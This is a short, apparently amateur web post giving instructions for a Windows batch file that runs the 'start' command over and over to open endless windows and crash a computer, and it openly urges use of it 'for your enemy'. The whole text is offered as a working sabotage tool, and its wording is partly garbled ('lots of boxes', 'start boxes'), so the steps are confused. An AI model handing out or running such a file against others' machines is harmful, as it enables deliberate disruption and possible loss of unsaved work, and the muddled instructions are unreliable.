To crash someones computer down deliberately

not try this in your own computer because it will crash your window  , use this for your enemy 100% working, here is the code below just copy the code from start to start boxes and then save it in notpad but save as example.bat means save as a .bat file...............

start
start
start
start
start
start
start
start
start
start
start( type lot's of start)

echo off
lots of boxes
start boxes

you can use it in notepad but save as extension .bat